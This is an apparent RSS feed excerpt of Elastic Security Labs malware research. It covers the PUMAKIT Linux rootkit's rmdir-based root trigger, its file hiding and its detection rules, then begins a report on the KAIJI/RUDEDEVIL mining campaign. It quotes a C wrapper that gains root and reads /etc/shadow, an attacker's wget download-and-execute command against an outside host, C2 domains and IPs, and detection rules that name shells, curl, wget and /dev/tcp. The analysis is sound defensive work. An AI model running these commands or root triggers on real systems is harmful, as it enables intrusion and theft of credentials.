<p>Upon initialization of the rootkit, the <code>rmdir()</code> syscall hook is used to check whether the rootkit was loaded successfully. It does this by calling the <code>t</code> command.</p>
<pre><code class="language-bash">ubuntu-rk:~$ rmdir test
rmdir: failed to remove 'test': No such file or directory
ubuntu-rk:~$ rmdir zarya.t
ubuntu-rk:~$
</code></pre>
<p>When using the <code>rmdir</code> command on a non-existent directory, an error message “No such file or directory” is returned. When using <code>rmdir</code> on <code>zarya.t</code>, no output is returned, indicating successful loading of the kernel module.</p>
<p>A second command is <code>v</code>, which is used to get the version of the running rootkit.</p>
<pre><code class="language-bash">ubuntu-rk:~$ rmdir zarya.v
rmdir: failed to remove '240513': No such file or directory
</code></pre>
<p>Instead of <code>zarya.v</code> being added to the “failed to remove ‘<code>directory</code>’” error, the rootkit version <code>240513</code> is returned.</p>
<p>A third command is <code>c</code>, which prints the configuration of the rootkit.</p>
<pre><code class="language-bash">ubuntu-rk:~/testing$ ./dump_config &quot;zarya.c&quot;
rmdir: failed to remove '': No such file or directory
Buffer contents (hex dump):
7ffe9ae3a270  00 01 00 00 10 70 69 6e 67 5f 69 6e 74 65 72 76  .....ping_interv
7ffe9ae3a280  61 6c 5f 73 00 2c 01 00 00 10 73 65 73 73 69 6f  al_s.,....sessio
7ffe9ae3a290  6e 5f 74 69 6d 65 6f 75 74 5f 73 00 04 00 00 00  n_timeout_s.....
7ffe9ae3a2a0  10 63 32 5f 74 69 6d 65 6f 75 74 5f 73 00 c0 a8  .c2_timeout_s...
7ffe9ae3a2b0  00 00 02 74 61 67 00 08 00 00 00 67 65 6e 65 72  ...tag.....gener
7ffe9ae3a2c0  69 63 00 02 73 5f 61 30 00 15 00 00 00 72 68 65  ic..s_a0.....rhe
7ffe9ae3a2d0  6c 2e 6f 70 73 65 63 75 72 69 74 79 31 2e 61 72  l.opsecurity1.ar
7ffe9ae3a2e0  74 00 02 73 5f 70 30 00 05 00 00 00 38 34 34 33  t..s_p0.....8443
7ffe9ae3a2f0  00 02 73 5f 63 30 00 04 00 00 00 74 6c 73 00 02  ..s_c0.....tls..
7ffe9ae3a300  73 5f 61 31 00 14 00 00 00 73 65 63 2e 6f 70 73  s_a1.....sec.ops
7ffe9ae3a310  65 63 75 72 69 74 79 31 2e 61 72 74 00 02 73 5f  ecurity1.art..s_
7ffe9ae3a320  70 31 00 05 00 00 00 38 34 34 33 00 02 73 5f 63  p1.....8443..s_c
7ffe9ae3a330  31 00 04 00 00 00 74 6c 73 00 02 73 5f 61 32 00  1.....tls..s_a2.
7ffe9ae3a340  0e 00 00 00 38 39 2e 32 33 2e 31 31 33 2e 32 30  ....89.23.113.20
7ffe9ae3a350  34 00 02 73 5f 70 32 00 05 00 00 00 38 34 34 33  4..s_p2.....8443
7ffe9ae3a360  00 02 73 5f 63 32 00 04 00 00 00 74 6c 73 00 00  ..s_c2.....tls..
</code></pre>
<p>Because the payload starts with null bytes, no output is returned when running <code>zarya.c</code> through a <code>rmdir</code> shell command. By writing a small C program that wraps the syscall and prints the hex/ASCII representation, we can see the configuration of the rootkit being returned.</p>
<p>Instead of using the <code>kill()</code> syscall to get root privileges (like most rootkits do), the rootkit leverages the <code>rmdir()</code> syscall for this purpose as well. The rootkit uses the <code>prepare_creds</code> function to modify the credential-related IDs to 0 (root), and calls <code>commit_creds</code> on this modified structure to obtain root privileges within its current process.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/declawing-pumakit/image8.png" alt="Privilege escalation using prepare_creds and commit_creds" title="Privilege escalation using prepare_creds and commit_creds" /></p>
<p>To trigger this function, we need to set the 6th character to <code>0</code>. The caveat for this hook is that it gives the caller process root privileges but does not maintain them. When executing <code>zarya.0</code>, nothing happens. However, when calling this hook with a C program and printing the current process’ privileges, we do get a result. A snippet of the wrapper code that is used is displayed below:</p>
<pre><code class="language-c">[...]
// Print the current PID, SID, and GID
pid_t pid = getpid();
pid_t sid = getsid(0);  // Passing 0 gets the SID of the calling process
gid_t gid = getgid();

printf(&quot;Current PID: %d, SID: %d, GID: %d\n&quot;, pid, sid, gid);

// Print all credential-related IDs
uid_t ruid = getuid();    // Real user ID
uid_t euid = geteuid();   // Effective user ID
gid_t rgid = getgid();    // Real group ID
gid_t egid = getegid();   // Effective group ID
uid_t fsuid = setfsuid(-1);  // Filesystem user ID
gid_t fsgid = setfsgid(-1);  // Filesystem group ID

printf(&quot;Credentials: UID=%d, EUID=%d, GID=%d, EGID=%d, FSUID=%d, FSGID=%d\n&quot;,
    ruid, euid, rgid, egid, fsuid, fsgid);

[...]
</code></pre>
<p>Executing the function, we can the following output:</p>
<pre><code class="language-bash">ubuntu-rk:~/testing$ whoami;id
ruben
uid=1000(ruben) gid=1000(ruben) groups=1000(ruben),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),117(lxd)

ubuntu-rk:~/testing$ ./rmdir zarya.0
Received data:
zarya.0
Current PID: 41838, SID: 35117, GID: 0
Credentials: UID=0, EUID=0, GID=0, EGID=0, FSUID=0, FSGID=0
</code></pre>
<p>To leverage this hook, we wrote a small C wrapper script that executes the <code>rmdir zarya.0</code> command and checks whether it can now access the <code>/etc/shadow</code> file.</p>
<pre><code class="language-c">#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/syscall.h&gt;
#include &lt;errno.h&gt;

int main() {
    const char *directory = &quot;zarya.0&quot;;

    // Attempt to remove the directory
    if (syscall(SYS_rmdir, directory) == -1) {
        fprintf(stderr, &quot;rmdir: failed to remove '%s': %s\n&quot;, directory, strerror(errno));
    } else {
        printf(&quot;rmdir: successfully removed '%s'\n&quot;, directory);
    }

    // Execute the `id` command
    printf(&quot;\n--- Running 'id' command ---\n&quot;);
    if (system(&quot;id&quot;) == -1) {
        perror(&quot;Failed to execute 'id'&quot;);
        return 1;
    }

    // Display the contents of /etc/shadow
    printf(&quot;\n--- Displaying '/etc/shadow' ---\n&quot;);
    if (system(&quot;cat /etc/shadow&quot;) == -1) {
        perror(&quot;Failed to execute 'cat /etc/shadow'&quot;);
        return 1;
    }

    return 0;
}
</code></pre>
<p>With success.</p>
<pre><code class="language-bash">ubuntu-rk:~/testing$ ./get_root
rmdir: successfully removed 'zarya.0'

--- Running 'id' command ---
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),117(lxd),1000(ruben)

--- Displaying '/etc/shadow' ---
root:*:19430:0:99999:7:::
[...]
</code></pre>
<p>Although there are more commands available in the <code>rmdir()</code> function, we will, for now, move on to the next and may add them to a future publication.</p>
<h4>LKM rootkit overview: getdents() and getdents64() hooks</h4>
<p>The <code>getdents_hook()</code> and <code>getdents64_hook()</code> in the rootkit are responsible for manipulating directory listing syscalls to hide files and directories from users.</p>
<p>The getdents() and getdents64() syscalls are used to read directory entries. The rootkit hooks these functions to filter out any entries that match specific criteria. Specifically, files and directories with the prefix zov_ are hidden from any user attempting to list the contents of a directory.</p>
<p>For example:</p>
<pre><code class="language-bash">ubuntu-rk:~/getdents_hook$ mkdir zov_hidden_dir

ubuntu-rk:~/getdents_hook$ ls -lah
total 8.0K
drwxrwxr-x  3 ruben ruben 4.0K Dec  9 11:11 .
drwxr-xr-x 11 ruben ruben 4.0K Dec  9 11:11 ..

ubuntu-rk:~/getdents_hook$ echo &quot;this file is now hidden&quot; &gt; zov_hidden_dir/zov_hidden_file

ubuntu-rk:~/getdents_hook$ ls -lah zov_hidden_dir/
total 8.0K
drwxrwxr-x 2 ruben ruben 4.0K Dec  9 11:11 .
drwxrwxr-x 3 ruben ruben 4.0K Dec  9 11:11 ..

ubuntu-rk:~/getdents_hook$ cat zov_hidden_dir/zov_hidden_file
this file is now hidden
</code></pre>
<p>Here, the file <code>zov_hidden</code> can be accessed directly using its entire path. However, when running the <code>ls</code> command, it does not appear in the directory listing.</p>
<h3>Stage 4: Kitsune SO overview</h3>
<p>While digging deeper into the rootkit, another ELF file was identified within the kernel object file. After extracting this binary, we discovered this is the <code>/lib64/libs.so</code> file. Upon examination, we encountered several references to strings such as <code>Kitsune PID %ld</code>. This suggests that the SO is referred to as Kitsune by the developers. Kitsune may be responsible for certain behaviors observed in the rootkit. These references align with the broader context of how the rootkit manipulates user-space interactions via <code>LD_PRELOAD</code>.</p>
<p>This SO file plays a role in achieving the persistence and stealth mechanisms central to this rootkit, and its integration within the attack chain demonstrates the sophistication of its design. We will now showcase how to detect and/or prevent each part of the attack chain.</p>
<h2>PUMAKIT execution chain detection &amp; prevention</h2>
<p>This section will display different EQL/KQL rules and YARA signatures that can prevent and detect different parts of the PUMAKIT execution chain.</p>
<h3>Stage 1: Cron</h3>
<p>Upon execution of the dropper, an uncommon event is saved in syslog. The event states that a process has started with an executable stack. This is uncommon and interesting to watch:</p>
<pre><code class="language-sysmon">[  687.108154] process '/home/ruben_groenewoud/30b26707d5fb407ef39ebee37ded7edeea2890fb5ec1ebfa09a3b3edfc80db1f' started with executable stack
</code></pre>
<p>We can search for this through the following query:</p>
<pre><code>host.os.type:linux and event.dataset:&quot;system.syslog&quot; and process.name:kernel and message: &quot;started with executable stack&quot;
</code></pre>
<p>This message is stored in <code>/var/log/messages</code> or <code>/var/log/syslog</code>. We can detect this by reading syslog through <a href="https://www.elastic.co/es/guide/en/beats/filebeat/current/filebeat-overview.html">Filebeat</a> or the Elastic agent <a href="https://www.elastic.co/es/guide/en/integrations/current/system.html">system integration</a>.</p>
<h3>Stage 2: Memory-resident executables</h3>
<p>We can see an unusual file descriptor execution right away. This can be detected through the following EQL query:</p>
<pre><code class="language-sql">process where host.os.type == &quot;linux&quot; and event.type == &quot;start&quot; and event.action == &quot;exec&quot; and process.parent.executable like &quot;/dev/fd/*&quot; and not process.parent.command_line == &quot;runc init&quot;
</code></pre>
<p>This file descriptor will remain the parent of the dropper until the process ends, resulting in the execution of several files through this parent process as well:</p>
<pre><code class="language-sql">file where host.os.type == &quot;linux&quot; and event.type == &quot;creation&quot; and process.executable like &quot;/dev/fd/*&quot; and file.path like (
  &quot;/boot/*&quot;, &quot;/dev/shm/*&quot;, &quot;/etc/cron.*/*&quot;, &quot;/etc/init.d/*&quot;, &quot;/var/run/*&quot;
  &quot;/etc/update-motd.d/*&quot;, &quot;/tmp/*&quot;, &quot;/var/log/*&quot;, &quot;/var/tmp/*&quot;
)
</code></pre>
<p>After <code>/tmp/script.sh</code> is dropped (detected through the queries above), we can detect its execution by querying for file attribute discovery and unarchiving activity:</p>
<pre><code class="language-sql">process where host.os.type == &quot;linux&quot; and event.type == &quot;start&quot; and event.action == &quot;exec&quot; and 
(process.parent.args like &quot;/boot/*&quot; or process.args like &quot;/boot/*&quot;) and (
  (process.name in (&quot;file&quot;, &quot;unlzma&quot;, &quot;gunzip&quot;, &quot;unxz&quot;, &quot;bunzip2&quot;, &quot;unzstd&quot;, &quot;unzip&quot;, &quot;tar&quot;)) or
  (process.name == &quot;grep&quot; and process.args == &quot;ELF&quot;) or
  (process.name in (&quot;lzop&quot;, &quot;lz4&quot;) and process.args in (&quot;-d&quot;, &quot;--decode&quot;))
) and
not process.parent.name == &quot;mkinitramfs&quot;
</code></pre>
<p>The script continues to seek the memory of the Linux kernel image through the <code>tail</code> command. This can be detected, along with other memory-seeking tools, through the following query:</p>
<pre><code class="language-sql">process where host.os.type == &quot;linux&quot; and event.type == &quot;start&quot; and event.action == &quot;exec&quot; and
(process.parent.args like &quot;/boot/*&quot; or process.args like &quot;/boot/*&quot;) and (
  (process.name == &quot;tail&quot; and (process.args like &quot;-c*&quot; or process.args == &quot;--bytes&quot;)) or
  (process.name == &quot;cmp&quot; and process.args == &quot;-i&quot;) or
  (process.name in (&quot;hexdump&quot;, &quot;xxd&quot;) and process.args == &quot;-s&quot;) or
  (process.name == &quot;dd&quot; and process.args : (&quot;skip*&quot;, &quot;seek*&quot;))
)
</code></pre>
<p>Once <code>/tmp/script.sh</code> is done executing, <code>/memfd:tgt (deleted)</code> and <code>/memfd:wpn (deleted)</code> are created. The <code>tgt</code> executable, which is the benign Cron executable, creates a <code>/run/crond.pid</code> file. This is nothing malicious but an artifact that can be detected through a simple query.</p>
<pre><code class="language-sql">file where host.os.type == &quot;linux&quot; and event.type == &quot;creation&quot; and file.extension in (&quot;lock&quot;, &quot;pid&quot;) and
file.path like (&quot;/tmp/*&quot;, &quot;/var/tmp/*&quot;, &quot;/run/*&quot;, &quot;/var/run/*&quot;, &quot;/var/lock/*&quot;, &quot;/dev/shm/*&quot;) and process.executable != null
</code></pre>
<p>The <code>wpn</code> executable will, if all conditions are met, load the LKMrootkit.</p>
<h3>Stage 3: Rootkit kernel  module</h3>
<p>The loading of kernel module is detectable through Auditd Manager by applying the following configuration:</p>
<pre><code>-a always,exit -F arch=b64 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules
-a always,exit -F arch=b32 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules
</code></pre>
<p>And using the following query:</p>
<pre><code class="language-sql">driver where host.os.type == &quot;linux&quot; and event.action == &quot;loaded-kernel-module&quot; and auditd.data.syscall in (&quot;init_module&quot;, &quot;finit_module&quot;)
</code></pre>
<p>For more information on leveraging Auditd with Elastic Security to enhance your Linux detection engineering experience, check out our <a href="https://www.elastic.co/es/security-labs/linux-detection-engineering-with-auditd">Linux detection engineering with Auditd</a> research published on the Elastic Security Labs site.</p>
<p>Upon initialization, the LKM taints the kernel, as it is not signed.</p>
<pre><code>audit: module verification failed: signature and/or required key missing - tainting kernel
</code></pre>
<p>We can detect this behavior through the following KQL query:</p>
<pre><code>host.os.type:linux and event.dataset:&quot;system.syslog&quot; and process.name:kernel and message:&quot;module verification failed: signature and/or required key missing - tainting kernel&quot;
</code></pre>
<p>Also, the LKM has faulty code, causing it to segfault several times. For example:</p>
<pre><code>Dec  9 13:26:10 ubuntu-rk kernel: [14350.711419] cat[112653]: segfault at 8c ip 00007f70d596b63c sp 00007fff9be81360 error 4
Dec  9 13:26:10 ubuntu-rk kernel: [14350.711422] Code: 83 c4 20 48 89 d0 5b 5d 41 5c c3 48 8d 42 01 48 89 43 08 0f b6 02 41 88 44 2c ff eb c1 8b 7f 78 e9 25 5c 00 00 c3 41 54 55 53 &lt;8b&gt; 87 8c 00 00 00 48 89 fb 85 c0 79 1b e8 d7 00 00 00 48 89 df 89
</code></pre>
<p>This can be detected through a simple KQL query that queries for segfaults in the <code>kern.log</code> file.</p>
<pre><code>host.os.type:linux and event.dataset:&quot;system.syslog&quot; and process.name:kernel and message:segfault
</code></pre>
<p>Once the kernel module is loaded, we can see traces of command execution through the <code>kthreadd</code> process. The rootkit creates new kernel threads to execute specific commands. For example, the rootkit executes the following commands at short intervals:</p>
<pre><code class="language-bash">cat /dev/null
truncate -s 0 /usr/share/zov_f/zov_latest
</code></pre>
<p>We can detect these and more potentially suspicious commands through a query such as the following:</p>
<pre><code class="language-sql">process where host.os.type == &quot;linux&quot; and event.type == &quot;start&quot; and event.action == &quot;exec&quot; and process.parent.name == &quot;kthreadd&quot; and (
  process.executable like (&quot;/tmp/*&quot;, &quot;/var/tmp/*&quot;, &quot;/dev/shm/*&quot;, &quot;/var/www/*&quot;, &quot;/bin/*&quot;, &quot;/usr/bin/*&quot;, &quot;/usr/local/bin/*&quot;) or
  process.name in (&quot;bash&quot;, &quot;dash&quot;, &quot;sh&quot;, &quot;tcsh&quot;, &quot;csh&quot;, &quot;zsh&quot;, &quot;ksh&quot;, &quot;fish&quot;, &quot;whoami&quot;, &quot;curl&quot;, &quot;wget&quot;, &quot;id&quot;, &quot;nohup&quot;, &quot;setsid&quot;) or
  process.command_line like (
    &quot;*/etc/cron*&quot;, &quot;*/etc/rc.local*&quot;, &quot;*/dev/tcp/*&quot;, &quot;*/etc/init.d*&quot;, &quot;*/etc/update-motd.d*&quot;,
    &quot;*/etc/ld.so*&quot;, &quot;*/etc/sudoers*&quot;, &quot;*base64 *&quot;, &quot;*base32 *&quot;, &quot;*base16 *&quot;, &quot;*/etc/profile*&quot;,
    &quot;*/dev/shm/*&quot;, &quot;*/etc/ssh*&quot;, &quot;*/home/*/.ssh/*&quot;, &quot;*/root/.ssh*&quot; , &quot;*~/.ssh/*&quot;, &quot;*autostart*&quot;,
    &quot;*xxd *&quot;, &quot;*/etc/shadow*&quot;
  )
) and not process.name == &quot;dpkg&quot;
</code></pre>
<p>We can also detect the rootkits’ method of elevating privileges by analyzing the <code>rmdir</code> command for unusual UID/GID changes.</p>
<pre><code class="language-sql">process where host.os.type == &quot;linux&quot; and event.type == &quot;change&quot; and event.action in (&quot;uid_change&quot;, &quot;guid_change&quot;) and process.name == &quot;rmdir&quot;
</code></pre>
<p>Several other behavioral rules may also trigger, depending on the execution chain.</p>
<h2>One YARA signature to rule them all</h2>
<p>Elastic Security has created a <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Trojan_Pumakit.yar">YARA signature</a> to identify PUMAKIT (the dropper (<code>cron</code>), the rootkit loader(<code>/memfd:wpn</code>), the LKM rootkit and the Kitsune shared object files. The signature is displayed below:</p>
<pre><code class="language-YARA">rule Linux_Trojan_Pumakit {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-12-09&quot;
        last_modified = &quot;2024-12-09&quot;
        os = &quot;Linux&quot;
        arch = &quot;x86, arm64&quot;
        threat_name = &quot;Linux.Trojan.Pumakit&quot;

    strings:
        $str1 = &quot;PUMA %s&quot;
        $str2 = &quot;Kitsune PID %ld&quot;
        $str3 = &quot;/usr/share/zov_f&quot;
        $str4 = &quot;zarya&quot;
        $str5 = &quot;.puma-config&quot;
        $str6 = &quot;ping_interval_s&quot;
        $str7 = &quot;session_timeout_s&quot;
        $str8 = &quot;c2_timeout_s&quot;
        $str9 = &quot;LD_PRELOAD=/lib64/libs.so&quot;
        $str10 = &quot;kit_so_len&quot;
        $str11 = &quot;opsecurity1.art&quot;
        $str12 = &quot;89.23.113.204&quot;
    
    condition:
        4 of them
}
</code></pre>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>30b26707d5fb407ef39ebee37ded7edeea2890fb5ec1ebfa09a3b3edfc80db1f</code></td>
<td>SHA256</td>
<td><code>cron</code></td>
<td>PUMAKIT dropper</td>
</tr>
<tr>
<td><code>cb070cc9223445113c3217f05ef85a930f626d3feaaea54d8585aaed3c2b3cfe</code></td>
<td>SHA256</td>
<td><code>/memfd:wpn (deleted</code>)</td>
<td>PUMAKIT loader</td>
</tr>
<tr>
<td><code>934955f0411538eebb24694982f546907f3c6df8534d6019b7ff165c4d104136</code></td>
<td>SHA256</td>
<td><code>/memfd:tgt (deleted)</code></td>
<td>Cron binary</td>
</tr>
<tr>
<td><code>8ef63f9333104ab293eef5f34701669322f1c07c0e44973d688be39c94986e27</code></td>
<td>SHA256</td>
<td><code>libs.so</code></td>
<td>Kitsune shared object reference</td>
</tr>
<tr>
<td><code>8ad422f5f3d0409747ab1ac6a0919b1fa8d83c3da43564a685ae4044d0a0ea03</code></td>
<td>SHA256</td>
<td><code>some2.elf</code></td>
<td>PUMAKIT variant</td>
</tr>
<tr>
<td><code>bbf0fd636195d51fb5f21596d406b92f9e3d05cd85f7cd663221d7d3da8af804</code></td>
<td>SHA256</td>
<td><code>some1.so</code></td>
<td>Kitsune shared object variant</td>
</tr>
<tr>
<td><code>bc9193c2a8ee47801f5f44beae51ab37a652fda02cd32d01f8e88bb793172491</code></td>
<td>SHA256</td>
<td><code>puma.ko</code></td>
<td>LKM rootkit</td>
</tr>
<tr>
<td><code>1aab475fb8ad4a7f94a7aa2b17c769d6ae04b977d984c4e842a61fb12ea99f58</code></td>
<td>SHA256</td>
<td><code>kitsune.so</code></td>
<td>Kitsune</td>
</tr>
<tr>
<td><code>sec.opsecurity1[.]art</code></td>
<td>domain-name</td>
<td></td>
<td>PUMAKIT C2 Server</td>
</tr>
<tr>
<td><code>rhel.opsecurity1[.]art</code></td>
<td>domain-name</td>
<td></td>
<td>PUMAKIT C2 Server</td>
</tr>
<tr>
<td><code>89.23.113[.]204</code></td>
<td>ipv4-addr</td>
<td></td>
<td>PUMAKIT C2 Server</td>
</tr>
</tbody>
</table>
<h2>Concluding Statement</h2>
<p>PUMAKIT is a complex and stealthy threat that uses advanced techniques like syscall hooking, memory-resident execution, and unique privilege escalation methods. Its multi-architectural design highlights the growing sophistication of malware targeting Linux systems.</p>
<p>Elastic Security Labs will continue to analyze PUMAKIT, monitor its behavior, and track any updates or new variants. By refining detection methods and sharing actionable insights, we aim to keep defenders one step ahead.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/declawing-pumakit/pumakit.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Betting on Bots: Investigating Linux malware, crypto mining, and gambling API abuse]]></title>
            <link>https://www.elastic.co/es/security-labs/betting-on-bots</link>
            <guid>betting-on-bots</guid>
            <pubDate>Fri, 27 Sep 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[The REF6138 campaign involved cryptomining, DDoS attacks, and potential money laundering via gambling APIs, highlighting the attackers' use of evolving malware and stealthy communication channels.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In recent months, Elastic Security Labs has uncovered a sophisticated Linux malware campaign targeting vulnerable servers. The attackers initiated the compromise in March 2024 by exploiting an Apache2 web server. Gaining initial access the threat actors deployed a complex intrusion set to establish persistence and expand their control over the compromised host.</p>
<p>The threat actors utilized a mixture of tools and malware, including C2 channels disguised as kernel processes, telegram bots for communication, and cron jobs for scheduled task execution. Notably, they deployed multiple malware families, such as KAIJI and RUDEDEVIL, alongside custom-written malware. KAIJI, known for its DDoS capabilities, and RUDEDEVIL, a cryptocurrency miner, were used to exploit system resources for malicious purposes.</p>
<p>Our investigation revealed a potential Bitcoin/XMR mining scheme that leverages gambling APIs, suggesting the attackers might be conducting money laundering activities using compromised hosts. We also gained access to a file share that hosted daily uploads of fresh KAIJI samples with previously unseen hashes, indicating active development and adaptation by the malware authors.</p>
<p>This research publication delves into the details of the campaign, providing a comprehensive analysis of the attackers' tactics, techniques, and procedures. We explore how they established initial access, the methods used for persistence and privilege escalation, and the malware deployed at each stage. Additionally, we discuss the command and control infrastructure, including the use of GSOCKET and Telegram for stealthy communication.</p>
<h2>Execution flow</h2>
<h3>Initial access</h3>
<p>Our team observed a host that was initially compromised in March 2024 by obtaining arbitrary code execution on a server running Apache2. Evidence of this compromise is seen in the execution of the <code>id</code> command via the Apache2 process, after which we see the threat actor exploiting the web server and deploying KAIJI malware under the <code>www-data</code> user account.</p>
<p>Shortly after the Kaiji deployment, the attacker used the <code>www-data</code> account to download a script named <code>00.sh</code> from the URL <code>http://61.160.194[.]160:35130</code>, which, after further investigation, also hosted several versions of RUDEDEVIL malware.</p>
<p><code>00.sh</code> is a stager that:</p>
<ul>
<li>Sets its default shell and PATH.</li>
<li>Deletes several log files to erase traces of execution.</li>
<li>Leverages <code>ps</code>, <code>netstat</code>, <code>lsof</code> and a list of common mining process names to kill any potential mining competition on the compromised host.</li>
<li>Flushes the <code>iptables</code> rules on the host, sets several <code>iptables</code> rules to block connections to specific destination ports and mining pools, and disables <code>iptables</code>.</li>
<li>Finally, a second stage (<code>sss6</code>/<code>sss68</code>) is downloaded and executed, and execution traces are erased.</li>
</ul>
<p>The figure below shows a compressed version of the stager. Lines annotated with <code>[...]</code> are shortened to enhance readability.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image5.png" alt="Compressed version of the 00.sh stager" title="Compressed version of the 00.sh stager" /></p>
<h3>Fileserver</h3>
<p>Via the backdoored web server process, the attacker downloaded and executed malware through the following command:</p>
<pre><code>sh -c wget http://107.178.101[.]245:5488/l64;chmod 777 l64;./l64;rm -r l64;wget http://107.178.101[.]245:5488/l86;chmod 777 l86;./l86;rm -r l86
</code></pre>
<p>The <code>l64</code> and <code>l86</code> files are downloaded from <code>http://107.178.101[.]245:5488</code>, after which they are granted all permissions, executed, and removed. Looking at the server that is hosting these malware samples, we see the following:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image30.png" alt="Rejetto File Server Hosting Several Pieces of Malware" title="Rejetto File Server Hosting Several Pieces of Malware" /></p>
<p>This seems to be a file server, hosting several types of malware for different architectures. The file server leverages the Rejetto technology. These malwares have upload dates and download counters. For example, the <code>download.sh</code> file that was uploaded September 10th, was already downloaded 3,100 times.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image25.png" alt="Download Counter Indicating 3000+ Downloads Within 2 Weeks of Upload" title="Download Counter Indicating 3000+ Downloads Within 2 Weeks of Upload" /></p>
<h3>RUDEDEVIL/LUCIFER</h3>
<p>Upon closer inspection, the file <code>sss6</code>, which was downloaded and executed, has been identified as the RUDEDEVIL malware. Early in the execution process, we encounter an embedded message characteristic of this malware family:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image11.png" alt="RUDEDEVIL Malware Characteristic" title="RUDEDEVIL Malware Characteristic" /></p>
<pre><code>Hi, man. I\'ve seen several organizations report my Trojan recently, 
Please let me go. I want to buy a car. That\'s all. I don\'t want to hurt others. 
I can\'t help it. My family is very poor. In China, it\'s hard to buy a suite. 
I don\'t have any accommodation. I don\'t want to do anything illegal. 
Really, really, interested, you can give me XmR, my address is 42cjpfp1jJ6pxv4cbjxbbrmhp9yuzsxh6v5kevp7xzngklnutnzqvu9bhxsqbemstvdwymnsysietq5vubezyfoq4ft4ptc, 
thank yo
</code></pre>
<p>We note that the files <code>l64</code> and <code>l86</code> that are hosted on the file server contain the same malware. When analyzing the execution flow of the malware we see that the main function of the malware performs several key tasks:</p>
<ul>
<li><strong>Daemon Initialization:</strong> The process is converted into a daemon using <code>daemon(1, 0)</code>.</li>
<li><strong>Socket Creation:</strong> A socket is created and bound to a specific port.</li>
<li><strong>Signal Handling:</strong> Custom signal handlers are set up for various signals.</li>
<li><strong>Service Initialization:</strong> Several services are started using <code>SetFILE</code>.</li>
<li><strong>Privilege Handling:</strong> It checks for root privileges and adjusts resource limits accordingly.</li>
<li><strong>Decryption:</strong> The malware decrypts its configuration blobs.</li>
<li><strong>Thread Creation:</strong> Multiple threads are spawned for tasks like mining, killing processes, and monitoring network and CPU usage.</li>
<li><strong>Main Loop:</strong> The program enters an infinite loop where it repeatedly connects to a server and sleeps for a specified duration.</li>
</ul>
<p>When examining the encryption routine, we find it utilizes XOR-based encoding:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image13.png" alt="DareDevil Encryption Routine" title="DareDevil Encryption Routine" /></p>
<p>To decode the contents statically, we developed a basic Python snippet:</p>
<pre><code class="language-python">def DecryptData(data_block, encryption_key):
   key_modifier = encryption_key &amp; 0xFF
   key_index = key_modifier // 0x5F  # 0x5F = 95 in decimal
   modifier = (key_modifier - (key_index * 0x5F)) + 0x58  # 0x58 = 88 in decimal

   for i in range(len(data_block)):
       data_block[i] ^= modifier
       data_block[i] &amp;= 0xFF  # Ensure 8-bit value
       data_block[i] += modifier
       data_block[i] &amp;= 0xFF  # Ensure 8-bit value

   return data_block

# Encoded data as hex strings
encoded_data = [
   '4c494356515049490c467978',
   '0d4f1e4342405142454d0b42534e380f0f5145424f0c53034e4f4f4a0c4f40573801393939391e0d451e020141303727222026254f252d372643400706314955032a593330233237587951215553552d464c0101414939514401515258414324273340254756564741404207004122782d50475555412d503106394d4c34554e48513926352054362a1e0d4e1e20',
   '0f424d4e0f435536575649484b',
   '5642424e380f0f5654430c42014a494c45460c534f4d38070602050f435352434356544b',
]

encryption_key = 0x03FF  # 1023 in decimal

# Process and decrypt each encoded data string
for data in encoded_data:
   # Convert hex string to list of integers
   data_bytes = bytes.fromhex(data)
   data_block = list(data_bytes)

   # Decrypt the data
   decrypted_block = DecryptData(data_block, encryption_key)

   # Convert decrypted data back to bytes
   decrypted_bytes = bytes(decrypted_block)
   print(&quot;Decrypted text:&quot;, decrypted_bytes.decode('utf-8', errors='ignore'))
</code></pre>
<p>After decoding the configuration, the following values are revealed:</p>
<ul>
<li>The first value C2 domain <code>nishabii[.]xyz</code>.</li>
<li>The second value reveals options that will be passed to XMRIG.</li>
<li>The third value shows the temp file location the malware uses.</li>
<li>The fourth and last string shows the download location for the XMRIG binary.</li>
</ul>
<h3>Thread Management in the Malware</h3>
<p>The malware initiates several threads to handle its core operations. Let’s explore how some of these functions work in detail.</p>
<h4>Understanding the KillPid Function</h4>
<p>One of the threads runs the KillPid function, which is designed to continuously monitor and manage processes. The function begins by detaching its current thread, allowing it to run in the background without blocking other processes. It then enters an infinite loop, repeatedly executing its tasks.</p>
<p>At the heart of its functionality is an array called <code>sb_name</code>, which contains the names of processes the malware wants to terminate.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image24.png" alt="RUDEDEVIL kill process array" title="RUDEDEVIL kill process array" /></p>
<p>Every two seconds, the function checks the system for processes listed in this array, retrieving their process IDs (PIDs) using a helper function called <code>getPidByName</code>. After each iteration, it moves to the next process in the list, ensuring all processes in <code>sb_name</code> are handled.</p>
<p>Interestingly, after processing all elements in the array, the function enters an extended sleep for 600 seconds — roughly 10 minutes — before resuming its process checks. This extended sleep period is likely implemented to conserve system resources, ensuring the malware doesn't consume too much CPU time while monitoring processes.</p>
<h4>Understanding the Get_Net_Messages Function</h4>
